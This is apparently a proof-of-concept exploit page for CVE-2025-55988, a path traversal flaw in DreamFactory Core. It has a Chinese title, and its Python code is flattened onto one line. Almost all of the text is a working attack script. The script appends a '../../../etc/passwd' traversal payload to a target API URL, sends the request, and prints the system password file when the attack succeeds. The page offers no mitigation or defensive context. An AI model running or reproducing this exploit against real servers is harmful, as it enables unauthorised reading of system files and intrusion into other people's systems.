CVE-2025-55988 DreamFactory Core路径遍历漏洞

import requests def exploit_cve_2025_55988(target_url): """ PoC for CVE-2025-55988: Directory Traversal in DreamFactory Core v1.0.3. This script attempts to read /etc/passwd via the vulnerable RestController. Note: Requires authentication (High Privileges). """ # The traversal payload is injected into the URI path # Adjust the endpoint prefix based on the specific installation traversal_payload = "../../../etc/passwd" # Construct the full malicious URL # Example: http://target/api/v2/../../../etc/passwd attack_url = f"{target_url.rstrip('/')}/{traversal_payload}" # Headers might be needed for authentication (PR:H requirement) headers = { "User-Agent": "CVE-2025-55988-Scanner", # "Authorization": "Bearer <token>" # Uncomment if auth is needed } try: print(f"[+] Sending request to: {attack_url}") response = requests.get(attack_url, headers=headers, timeout=10) if response.status_code == 200 and "root:" in response.text: print("[+] Exploit successful! Sensitive file content retrieved:") print(response.text[:500]) # Print first 500 chars else: print(f"[-] Exploit failed or file not found. Status: {response.status_code}") print(f"[-] Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://127.0.0.1/api/v2/user" exploit_cve_2025_55988(target)